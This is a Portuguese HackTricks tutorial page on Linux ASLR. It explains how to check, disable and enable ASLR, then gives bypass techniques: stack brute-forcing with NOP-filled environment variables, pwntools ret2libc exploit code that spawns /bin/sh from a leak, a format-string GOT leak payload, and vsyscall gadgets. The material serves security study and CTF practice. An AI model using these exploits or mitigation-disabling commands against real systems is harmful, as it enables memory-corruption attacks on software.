15 KiB
ASLR
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Randomização do Layout do Espaço de Endereços (ASLR) é uma técnica de segurança usada em sistemas operacionais para randomizar os endereços de memória usados por processos do sistema e de aplicativos. Ao fazer isso, torna significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, especialmente estouros de buffer.
Verificando o Status do ASLR
Para verificar o status do ASLR em um sistema Linux, você pode ler o valor do arquivo /proc/sys/kernel/randomize_va_space
. O valor armazenado neste arquivo determina o tipo de ASLR aplicado:
- 0: Sem randomização. Tudo é estático.
- 1: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.
- 2: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada por meio de
brk()
é randomizada.
Você pode verificar o status do ASLR com o seguinte comando:
cat /proc/sys/kernel/randomize_va_space
Desativando o ASLR
Para desativar o ASLR, você define o valor de /proc/sys/kernel/randomize_va_space
como 0. Desativar o ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Veja como você pode desativá-lo:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Você também pode desativar o ASLR para uma execução com:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Ativando ASLR
Para ativar o ASLR, você pode escrever um valor de 2 no arquivo /proc/sys/kernel/randomize_va_space
. Isso geralmente requer privilégios de root. A ativação da randomização completa pode ser feita com o seguinte comando:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistência através de reinicializações
As alterações feitas com os comandos echo
são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo /etc/sysctl.conf
e adicionar ou modificar a seguinte linha:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Depois de editar /etc/sysctl.conf
, aplique as alterações com:
sudo sysctl -p
Isso garantirá que suas configurações de ASLR permaneçam após os reinícios.
Bypasses
Forçando por tentativa e erro em sistemas de 32 bits
O PaX divide o espaço de endereço do processo em 3 grupos:
- Código e dados (inicializados e não inicializados):
.text
,.data
e.bss
—> 16 bits de entropia na variáveldelta_exec
. Esta variável é inicializada aleatoriamente a cada processo e adicionada aos endereços iniciais. - Memória alocada por
mmap()
e bibliotecas compartilhadas —> 16 bits, chamadodelta_mmap
. - A pilha —> 24 bits, referido como
delta_stack
. No entanto, ele efetivamente usa 11 bits (do 10º ao 20º byte inclusive), alinhados a 16 bytes —> Isso resulta em 524.288 possíveis endereços reais de pilha.
Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que o exploit seja concluído com sucesso.
Ideias de força bruta:
- Se você tiver um estouro grande o suficiente para hospedar um grande NOP sled antes do shellcode, você poderia simplesmente forçar os endereços na pilha até que o fluxo salte sobre alguma parte do NOP sled.
- Outra opção para isso, caso o estouro não seja tão grande e o exploit possa ser executado localmente, é possível adicionar o NOP sled e o shellcode em uma variável de ambiente.
- Se o exploit for local, você pode tentar forçar o endereço base do libc (útil para sistemas de 32 bits):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Se estiver atacando um servidor remoto, você pode tentar forçar o endereço da função
usleep
dalibc
, passando como argumento 10 (por exemplo). Se em algum momento o servidor demorar 10s extras para responder, você encontrou o endereço dessa função.
{% hint style="success" %} Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível. {% endhint %}
Forçando a pilha de 64 bits
É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo.
O código a seguir mostra como é possível apenas selecionar um endereço na pilha e a cada algumas centenas de execuções esse endereço conterá a instrução NOP:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
Informação Local (/proc/[pid]/stat
)
O arquivo /proc/[pid]/stat
de um processo é sempre legível por todos e contém informações interessantes como:
- startcode e endcode: Endereços acima e abaixo com o TEXTO do binário
- startstack: O endereço do início da pilha
- start_data e end_data: Endereços acima e abaixo onde está o BSS
- kstkesp e kstkeip: Endereços atuais de ESP e EIP
- arg_start e arg_end: Endereços acima e abaixo onde estão os argumentos da linha de comando
- env_start e env_end: Endereços acima e abaixo onde estão as variáveis de ambiente
Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e esse binário não esperar o estouro de argumentos brutos, mas de uma entrada diferente que pode ser criada após a leitura deste arquivo. É possível para um atacante obter alguns endereços deste arquivo e construir offsets a partir deles para o exploit.
{% hint style="success" %}
Para mais informações sobre este arquivo, consulte https://man7.org/linux/man-pages/man5/proc.5.html procurando por /proc/pid/stat
{% endhint %}
Tendo um vazamento
- O desafio é fornecer um vazamento
Se você receber um vazamento (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você saiba a versão exata da libc que está sendo usada no sistema que está explorando). Este exploit de exemplo é extraído do exemplo daqui (verifique essa página para mais detalhes):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Aproveitando um estouro de buffer, seria possível explorar um ret2plt para extrair um endereço de uma função da libc. Verifique:
{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}
- Leitura Arbitrária de Strings de Formato
Assim como no ret2plt, se você tiver uma leitura arbitrária via uma vulnerabilidade de strings de formato, é possível extrair o endereço de uma função libc do GOT. O seguinte exemplo está aqui:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Pode encontrar mais informações sobre a leitura arbitrária de strings de formato em:
{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}
Ret2ret & Ret2pop
Tente contornar o ASLR abusando de endereços dentro da pilha:
{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}
vsyscall
O mecanismo vsyscall
serve para melhorar o desempenho, permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora façam parte fundamental do kernel. A principal vantagem das vsyscalls está em seus endereços fixos, que não estão sujeitos ao ASLR (Randomização do Layout do Espaço de Endereços). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em uma exploração.
No entanto, não serão encontrados gadgets super interessantes aqui (embora, por exemplo, seja possível obter um equivalente a ret;
)
(O exemplo e código a seguir são deste artigo)
Por exemplo, um atacante pode usar o endereço 0xffffffffff600800
dentro de uma exploração. Enquanto tentar pular diretamente para uma instrução ret
pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de uma syscall
fornecida pela seção vsyscall pode ser bem-sucedido. Ao colocar cuidadosamente um gadget ROP que direcione a execução para este endereço vsyscall, um atacante pode obter a execução de código sem precisar contornar o ASLR para esta parte da exploração.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Note que pode ser possível burlar o ASLR abusando do vdso se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte:
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} ret2vdso.md {% endcontent-ref %}